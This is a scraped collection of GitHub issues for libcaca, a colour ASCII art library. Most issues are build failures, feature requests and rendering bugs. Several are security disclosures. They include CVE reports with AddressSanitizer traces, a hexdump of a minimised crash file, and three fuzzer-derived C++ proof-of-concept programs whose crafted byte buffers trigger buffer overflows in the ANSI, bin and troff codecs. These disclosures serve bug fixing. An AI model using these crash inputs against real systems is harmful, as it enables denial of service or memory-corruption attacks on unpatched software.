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💩 Colour ASCII Art Library

License: Do What The F*ck You Want To Public License

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libcaca's Issues

Does it work on no-screen environment?

I check the official website, it requires: X11, but it does nothing for a non-screen VPS.

When I run cacaview, it outputs cacaview: unable to initialise libcaca (I've installed with sudo permission.)

All programs except cacafire didn't work. Even img2txt showed: unable to load subject01.centerlight.png which is known as a working image.

Could you please tell my whether it works on a non-screen environment?

Thanks in advance!

meson build system planned ?

Hello

is adding a meson build system planned ?

thank you

fatal error: 'caca.h' file not found

Building libcaca 0.99.beta19 (or the latest code in your repository as of today) succeeds if libcaca 0.99.beta19 is already installed, but fails with the error fatal error: 'caca.h' file not found if libcaca is not already installed.

How to modify color of a character?

It seems I can get the attribute of an (x, y) location but can't modify it back...

🚨 Potential Heap-based Buffer Overflow

👋 Hello, @samhocevar, @Jylam, @bsittler - a potential medium severity Heap-based Buffer Overflow vulnerability in your repository has been disclosed to us.

Next Steps

1️⃣ Visit https://huntr.dev/bounties/1-other-cacalabs/libcaca for more advisory information.

2️⃣ Sign-up to validate or speak to the researcher for more assistance.

3️⃣ Propose a patch or outsource it to our community - whoever fixes it gets paid.

Confused or need more help?

Join us on our Discord and a member of our team will be happy to help! 🤗
Speak to a member of our team: @JamieSlome

This issue was automatically generated by huntr.dev - a bug bounty board for securing open source code.

CVE-2018-20545

Following vulnerability has been reported to Red Hat issue tracker:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20545
https://bugzilla.redhat.com/show_bug.cgi?id=1652621

./img2txt POC0

version: libcaca0.99beta19
Summary: 

There is an illegal WRITE memory access at src/common-image.c:203 (function:load_image )in libcaca latest version.

Description:

The asan debug is as follows:

$./img2txt POC0

=================================================================
==28346==ERROR: AddressSanitizer: SEGV on unknown address 0x6020ffff0030 (pc 0x5643f5ff307a bp 0x603000000010 sp 0x7ffde48056e0 T0)
==28346==The signal is caused by a WRITE memory access.
    #0 0x5643f5ff3079 in load_image /home/company/real/libcaca-master/src/common-image.c:203
    #1 0x5643f5ff17c7 in main /home/company/real/libcaca-master/src/img2txt.c:171
    #2 0x7fde504511c0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x211c0)
    #3 0x5643f5ff1f09 in _start (/home/company/real/libcaca-master/install_asan/bin/img2txt+0x2f09)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/company/real/libcaca-master/src/common-image.c:203 in load_image
==28346==ABORTING

failure to build mingw

Hello, as a note, I get this:

aking all in caca
/bin/sh ../libtool --tag=CC --mode=compile i686-w64-mingw32-gcc -DHAVE_CONFIG_H -I. -I.. -I.. -DPLUGINDIR="" -D__LIBCACA__ -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -MT libcaca_la-string.lo -MD -MP -MF .deps/libcaca_la-string.Tpo -c -o libcaca_la-string.lo test -f 'string.c' || echo './'string.c
libtool: compile: i686-w64-mingw32-gcc -DHAVE_CONFIG_H -I. -I.. -I.. -DPLUGINDIR="" -D__LIBCACA__ -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -MT libcaca_la-string.lo -MD -MP -MF .deps/libcaca_la-string.Tpo -c string.c -o libcaca_la-string.o
string.c: In function 'caca_blit':
string.c:458:51: warning: variable 'bleed_left' set but not used [-Wunused-but-set-variable]
int i, j, starti, startj, endi, endj, stride, bleed_left, bleed_right;
^
string.c: At top level:
string.c:619:5: error: redefinition of 'vsnprintf'
int vsnprintf(char s, size_t n, const char *fmt, va_list ap)
^
In file included from string.c:21:0:
/Users/packrd/dev/ruby/ffmpeg-windows-build-helpers/sandbox/mingw-w64-i686/include/stdio.h:543:7: note: previous definition of 'vsnprintf' was here
int vsnprintf (char * restrict stream, size_t __n, const char * __restrict __format, va_list __local_argv)
^
make[2]: ** [libcaca_la-string.lo] Error 1
make[1]: *** [all-recursive] Error 1
make: *** [all] Error 2

(note also that it is near impossible to figure out how to create a login to be able to submit bug reports on this page: http://caca.zoy.org/wiki/libcaca nor is it easy to find that it moved to github, might want to update that). Cheers!

CVE-2018-20546

Following vulnerability has been reported to Red Hat issue tracker:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20546
https://bugzilla.redhat.com/show_bug.cgi?id=1652622

./img2txt POC1

version: libcaca0.99beta19
Summary: 

There is an illegal READ memory access at caca/dither.c:1347 (function:get_rgba_default )in libcaca latest version.

Description:

The asan debug is as follows:

$./img2txt POC1

=================================================================
==28249==ERROR: AddressSanitizer: SEGV on unknown address 0x7f88ae6a7004 (pc 0x7f88b2b37857 bp 0x000000000042 sp 0x7ffe82454ed0 T0)
==28249==The signal is caused by a READ memory access.
    #0 0x7f88b2b37856 in get_rgba_default /home/company/real/libcaca-master/caca/dither.c:1347
    #1 0x7f88b2b3aa16 in caca_dither_bitmap /home/company/real/libcaca-master/caca/dither.c:1009
    #2 0x55688cdba96e in main /home/company/real/libcaca-master/src/img2txt.c:210
    #3 0x7f88b27581c0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x211c0)
    #4 0x55688cdbaf09 in _start (/home/company/real/libcaca-master/install_asan/bin/img2txt+0x2f09)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/company/real/libcaca-master/caca/dither.c:1347 in get_rgba_default
==28249==ABORTING

Confirmed in f1267fb. Minimized sample CVE-2018-20546.zip with afl-tmin (SHA1: b50dccc3ebb25dd13256fc5e59bed2fcd19cc0e4)

00000000  42 4d 30 30 30 30 30 30  30 30 76 00 00 00 28 00  |BM00000000v...(.|
00000010  00 00 00 00 01 00 00 00  01 00 01 00 04 00 00 00  |................|
*
00000021

Compiler optimization might affect results.

Support stdin and stdout

It could be cool to be able to do something like:

cat file.jpeg | img2txt | netcat x.x.x.x 3333

But it seems that imlib doesn't support streaming (error when providing /dev/stdin).

How to solve this?

compile failed using android-ndk

android/ndk#1420

filter idea for toilet

The desert horizon and sand-ocean-horizon filters, gradients of blue for sky and ocean from the top with darker blue colors, till it hits the ground or the sea, and sand/terrain colors at the base. You just have to change colors for the whole width and calculate proportions on the height. Big sky, let's say 60%, and the rest to change colors for the ground (sand, terrain colors). Lettering with that kind of color filling were made famous in many ansi intros, games and demos, the first game that comes to mind is "California Games".

not xp compat currently

currently programs that links against libcaca.a seems to get this in XP:

“the procedure entry point _vsnprintf_s could not be located in the dynamic library msvcrt.dll”

beta18 worked fine there however.

caca_get_even(key|mouse)_* not accessable by c++ interface

Hi,

I am trying to use the c++ interface. However, when I try to evaluate a pressed key event, I did not get access to key codes.

The reason is that the Event class is not providing any functionality other than access to the type. I cannot even use the standard c functions as the caca_event_t data structure is protected.

Moreover, the Event class provides a public type attribute. I expected that this attribute will hold the event type. However, it is not updated by the getEvent function.

is there something that I missed or is this simply missing functionality

A solution would be to enhance the Event class by getter functions. Even that I do not use mouse functionality (yet), these getters would also be needed for the mouse access functions.

Regards
Sebastian

testcode:

Event event;
dp.getEvent(Event::CACA_EVENT_KEY_PRESS, &event, 0);
if (event.type & CACA_EVENT_KEY_PRESS) // this is not working as the type field is not updated
{
     auto key event.getKeyCH(); // what I would expect
     auto key = caca_get_event_key_ch(&event.e); // not working either
}

solution sketch for type and key_ch

class myEvent : public Event
{
  public:
    int getKeyCH() { return caca_get_event_key_ch(&this->e); }
    ::caca_event_type getType() { return caca_get_event_type(&this->e); }
};

[Security] global-buffer-overflow of export.c in function export_troff

Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment

System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1

libcaca version e4968ba

Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library

$ cd libcaca
$ ./bootstrap
$ ./configure
$ make

$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb"
$ make

3.Create the poc_troff.cc && build

#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

extern "C"  int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {

  if(Size<8) return 0;
  size_t len=0;
  char* buffer = (char*)malloc(Size+1);
  memset(buffer,0,Size);
  memcpy(buffer,Data,Size);
  buffer[Size]='\0';
  caca_canvas_t *cv;
  cv = caca_create_canvas(0,0);
  for(int i=0;i<4;i++)
        caca_create_frame(cv,0);
  for(int i=0;i<4;i++){
        caca_set_frame(cv,i);
        caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
  }
  void* reData = caca_export_canvas_to_memory(cv,"troff",&len);
  if(reData!=NULL) free(reData);
  caca_free_canvas(cv);
  cv=NULL;
  free(buffer);
  buffer=NULL;

}


int main(int args,char* argv[]){

        size_t  len = 0;
        unsigned char buffer[] = {0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
        len = sizeof(buffer)/sizeof(unsigned char);
        LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
        printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

        return 0;

}

4.compile poc_troff.cc

clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address  -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_troff

5.Run poc_troff

asan info:

==1845916==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f28d47e8140 at pc 0x7f28d46fb799 bp 0x7ffe8c4ce450 sp 0x7ffe8c4ce448
READ of size 8 at 0x7f28d47e8140 thread T0
    #0 0x7f28d46fb798 in export_troff /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48
    #1 0x7f28d46fb798 in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:120:16
    #2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_troff.cc:29:18
    #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_troff.cc:44:2
    #4 0x7f28d414a0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_troff+0x41c39d)

0x7f28d47e8140 is located 0 bytes to the right of global variable 'ansi2troff' defined in 'codec/export.c:1015:33' (0x7f28d47e80c0) of size 128
SUMMARY: AddressSanitizer: global-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48 in export_troff
Shadow bytes around the buggy address:
  0x0fe59a8f4fd0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0fe59a8f4fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f4ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5010: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
=>0x0fe59a8f5020: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 00 00 00 00
  0x0fe59a8f5030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1845916==ABORTING

Black and white levels are wrong when using dither

When converting a totally black or white image, such as

and

The resulting output looks like this:

img2txt -W 10 -H 10 -d ordered8 white.png
@ S @ S @
 t : t : t
% X % X %
 . ; . ; .
X % @ S X
 ; . t : ;
t S % X t
   : . ;
@ S @ S @
 t : t : t
img2txt -W 10 -H 10 -d ordered8 black.png
   .   :
; S ; S ;
 : . : . :
X ; X % X
   :   .
; X ; S ;
 : . : . :
@ S X ; @
   .   :
; S ; S ;

In the white example the background color is white and the characters are light gray. In the black example, the background is black and the characters are blue and dark gray.
If you don't specify a dithering algorithm (so it uses the default Floyd-Steinberg one), the black example looks correct, i.e. black background with space characters.
The white example looks like this:

img2txt -W 10 -H 10 white.png

  .  . .
   .     .
     .
 .     .
   .  .  .
  .
    .  .
  .     .
    . .

Again, the background is white and the periods in the output are light gray

When using no dithering (-d none), both outputs look correct.

CVE-2018-20549

Following vulnerability has been reported to Red Hat issue tracker:

https://bugzilla.redhat.com/show_bug.cgi?id=1652628

CVE-2018-20548

Following vulnerability has been reported to Red Hat issue tracker:

https://bugzilla.redhat.com/show_bug.cgi?id=1652625

img2txt is lacking functionality (charset) found on python example

There is no way to use output ASCII blocks or unicode shades on default img2txt command.

stdin redirection only takes one input

What I'm doing to trigger the activation:

Start the server in Terminal 1

touch ./in; cacaserver < ./in
initialised network, listening on port 51914
[4] connected from 127.0.0.1

Running nc in terminal 2

nc localhost 51914

Triggering the response in terminal 3

cat edge226.caca > ./in

Response in terminal 2 happens only once and only if the inital in file is empty.
Also attempted with a fifo file and this broke it completely and cacaserver did not even initialize listening on the network port.
I would have thought that cacaserver would have been able to refresh and take in more data after the first set.

[Security] stack-buffer-overflow of import.c in function _import_bin

Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment

System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1

libcaca version e4968ba

Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library

$ cd libcaca
$ ./bootstrap
$ ./configure
$ make

$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb"
$ make

3.Create the poc_bin.cc && build

#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

void crash(const uint8_t *Data, size_t Size) {

  if(Size<8) return ;
  size_t len=0;
  caca_canvas_t *cv;
  cv = caca_create_canvas(0,0);
  caca_create_frame(cv,0);
  caca_set_frame(cv,0);
  caca_import_canvas_from_memory(cv,Data,Size,"bin");
  caca_free_canvas(cv);
  cv=NULL;

}

int main(int args,char* argv[]){
        size_t  len = 0;
        unsigned char buffer[] = {0x0a,0x20,0x0a,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x47,0x47,0x47};
        len = sizeof(buffer)/sizeof(unsigned char);
        printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
        crash((const uint8_t*)buffer,len);
        return 0;

}

4.compile poc_bin.cc

clang++ -g poc_bin.cc -O2 -fno-omit-frame-pointer -fsanitize=address  -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_bin

5.Run poc_bin
asan info:

=================================================================
==3817476==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe7cd3774d at pc 0x7f8c6314acfd bp 0x7ffe7cd376c0 sp 0x7ffe7cd376b8
READ of size 1 at 0x7ffe7cd3774d thread T0
    #0 0x7f8c6314acfc in _import_bin /home/hh/Downloads/libcaca/caca/codec/import.c:425:33
    #1 0x4c6c72 in crash(unsigned char const*, unsigned long) /home/hh/Downloads/libcaca/poc_bin.cc:21:3
    #2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
    #3 0x7f8c62ba00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_bin+0x41c38d)

Address 0x7ffe7cd3774d is located in stack of thread T0 at offset 45 in frame
    #0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28

  This frame has 1 object(s):
    [32, 45) 'buffer' (line 31) <== Memory access at offset 45 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/import.c:425:33 in _import_bin
Shadow bytes around the buggy address:
  0x10004f99ee90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99eea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99eeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99eec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99eed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10004f99eee0: 00 00 00 00 f1 f1 f1 f1 00[05]f3 f3 00 00 00 00
  0x10004f99eef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99ef00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99ef10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99ef20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99ef30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3817476==ABORTING

Thanks

modification to configure.ac: set darwin_ver correctly in configure

Hi,
I tried to build libcaca from git master on macOS. When I ran ./bootstrap then ./configure, I noticed this output:

./configure: line 19422: [: : integer expression expected

This is because darwin_ver is not set. Lines 19421-19422 in generated configure:

    darwin_ver="$(echo "${target_os}" | sed -ne 's/^0-9*\(0-9\+\).*/\1/p')"
    if [ "$darwin_ver" -lt "13" ]; then

from configure.ac:

libcaca/configure.ac

Lines 299 to 300 in f42aa68

    
           darwin_ver="$(echo "${target_os}" | sed -ne 's/[^0-9]*\([0-9]\+\).*/\1/p')" 
        
           if [[ "$darwin_ver" -lt "13" ]]; then

As can be seen, brackets are removed from sed command. And, actually, \+ does nothing in macOS sed (came from BSD sed). [0-9]\+ should be written as [0-9][0-9]*.
Further, since test command is mainly used in configure.ac, I think it would be better to write if test here too.

So, I'd like to propose this modification to configure.ac:

--- a/configure.ac
+++ b/configure.ac
@@ -296,8 +296,8 @@ if test "${enable_cocoa}" != "no"; then
     esac
     CC="${CC:-gcc-${GCC_VERSION}}"
     CXX="${CXX:-g++-${GCC_VERSION}}"
-    darwin_ver="$(echo "${target_os}" | sed -ne 's/[^0-9]*\([0-9]\+\).*/\1/p')"
-    if [[ "$darwin_ver" -lt "13" ]]; then
+    darwin_ver="$(echo "${target_os}" | sed -ne 's/[[^0-9]]*\([[0-9]][[0-9]]*\).*/\1/p')"
+    if test "$darwin_ver" -lt "13"; then
       MACOSX_SDK_FRAMEWORKS="${MACOSX_SDK_FRAMEWORKS:--F${MACOSX_SDK}/System/Library/Frameworks}"
       CPPFLAGS="${CPPFLAGS} ${ARCH} ${MACOSX_SDK_FRAMEWORKS}"
       CFLAGS="${CFLAGS} ${MACOSX_SDK_CFLAGS} -mmacosx-version-min=10.5"

Unable to build 0.99.beta20 (common-image.c:164: undefined reference to `_caca_alloc2d')

When looking at packaging the new beta20 release for Gentoo, I hit the following error:

x86_64-pc-linux-gnu-gcc -m32 -DHAVE_CONFIG_H -I. -I/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src -I..  -I/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20 -I/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/caca -I../caca -DLIBCACA=1 -DX_DISPLAY_MISSING=1   -O2 -pipe -march=native -fdiagnostics-color=always -frecord-gcc-switches     -ggdb3 -UCACA_ENABLE_VISIBILITY -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -fvisibility=hidden -DCACA_ENABLE_VISIBILITY -c -o cacaview-common-image.o `test -f 'common-image.c' || echo '/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/'`common-image.c
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c: In function ‘load_image’:
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c:164:18: warning: implicit declaration of function ‘_caca_alloc2d’ [-Wimplicit-function-declaration]
  164 |     im->pixels = _caca_alloc2d(im->w, im->h, depth);
      |                  ^~~~~~~~~~~~~
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c:164:18: warning: nested extern declaration of ‘_caca_alloc2d’ [-Wnested-externs]
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c:164:16: warning: assignment to ‘char *’ from ‘int’ makes pointer from integer without a cast [-Wint-conversion]
  164 |     im->pixels = _caca_alloc2d(im->w, im->h, depth);
      |                ^
/bin/sh ../libtool  --tag=CC   --mode=link x86_64-pc-linux-gnu-gcc -m32  -O2 -pipe -march=native -fdiagnostics-color=always -frecord-gcc-switches     -ggdb3 -UCACA_ENABLE_VISIBILITY -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -fvisibility=hidden -DCACA_ENABLE_VISIBILITY  -fuse-ld=bfd -Wl,--as-needed -o cacaview cacaview-cacaview.o cacaview-common-image.o ../caca/libcaca.la ../caca/libcaca.la -lncurses -ltinfo
libtool: link: x86_64-pc-linux-gnu-gcc -m32 -O2 -pipe -march=native -fdiagnostics-color=always -frecord-gcc-switches -ggdb3 -UCACA_ENABLE_VISIBILITY -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -fvisibility=hidden -DCACA_ENABLE_VISIBILITY -fuse-ld=bfd -o .libs/cacaview cacaview-cacaview.o cacaview-common-image.o  -Wl,--as-needed ../caca/.libs/libcaca.so -lncursesw -lz -lncurses -ltinfo
/usr/lib/gcc/x86_64-pc-linux-gnu/11.2.0/../../../../x86_64-pc-linux-gnu/bin/ld.bfd: cacaview-common-image.o: in function `load_image':
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c:164: undefined reference to `_caca_alloc2d'
collect2: error: ld returned 1 exit status
make[2]: *** [Makefile:583: cacaview] Error 1
make[2]: Leaving directory '/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20-abi_x86_32.x86/src'
make[1]: *** [Makefile:546: all-recursive] Error 1
make[1]: Leaving directory '/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20-abi_x86_32.x86'
make: *** [Makefile:440: all] Error 2
 * ERROR: media-libs/libcaca-0.99_beta20::gentoo failed (compile phase):
 *   emake failed

Seems like the use of _caca_alloc2d was introduced in 96ff990 and the common-image usage is outside of the library, so might be exacerbated by 726ede6.

Attached the full build.log.gz.

win7 + latest version of mingw-w64 : vnsprintf is redefined

trying to compile libcaca, i get several redifinitions of vsnprintf :

in string.c
in figfont.c

same for sprintf_s in figfont.c

i think that the macro HAVE_VSNPRINTF and HAVE_SPRINTF_S should be used too.

[Security] stack-buffer-overflow of text.c in function _import_ansi

Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment

System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1

libcaca version e4968ba

Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library

$ cd libcaca
$ ./bootstrap
$ ./configure
$ make

$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb"
$ make

3.Create the poc_ansi.cc && build

#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

void crash(const uint8_t *Data, size_t Size) {

  if(Size<8) return ;
  size_t len=0;
  caca_canvas_t *cv;
  cv = caca_create_canvas(0,0);
  caca_create_frame(cv,0);
  caca_set_frame(cv,0);
  caca_import_canvas_from_memory(cv,Data,Size,"ansi");
  caca_free_canvas(cv);
  cv=NULL;

}


int main(int args,char* argv[]){

        size_t  len = 0;
        unsigned char buffer[] = {0x20,0x4a,0x0c,0x0a,0x20,0x0a,0x20,0x0c,0xc,0xc};
        len = sizeof(buffer)/sizeof(unsigned char);
        printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
        crash((const uint8_t*)buffer,len);

        return 0;

}

4.compile poc_ansi.cc

clang++ -g poc_ansi.cc -O2 -fno-omit-frame-pointer -fsanitize=address  -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_ansi

5.Run poc_ansi
asan info:

=================================================================
==3763372==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda0164bea at pc 0x7f098d82c310 bp 0x7ffda01647b0 sp 0x7ffda01647a8
READ of size 1 at 0x7ffda0164bea thread T0
    #0 0x7f098d82c30f in _import_ansi /home/hh/Downloads/libcaca/caca/codec/text.c:391:38
    #1 0x4c6c72 in crash(unsigned char const*, unsigned long) /home/hh/Downloads/libcaca/poc_bin.cc:21:3
    #2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
    #3 0x7f098d2780b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_mbay+0x41c38d)

Address 0x7ffda0164bea is located in stack of thread T0 at offset 42 in frame
    #0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28

  This frame has 1 object(s):
    [32, 42) 'buffer' (line 31) <== Memory access at offset 42 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/text.c:391:38 in _import_ansi
Shadow bytes around the buggy address:
  0x100034024920: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x100034024930: f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f2 f2
  0x100034024940: f2 f2 f8 f2 f2 f2 f8 f3 f3 f3 f3 f3 00 00 00 00
  0x100034024950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100034024960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100034024970: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00[02]f3 f3
  0x100034024980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100034024990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000340249a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000340249b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000340249c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3763372==ABORTING

Thanks

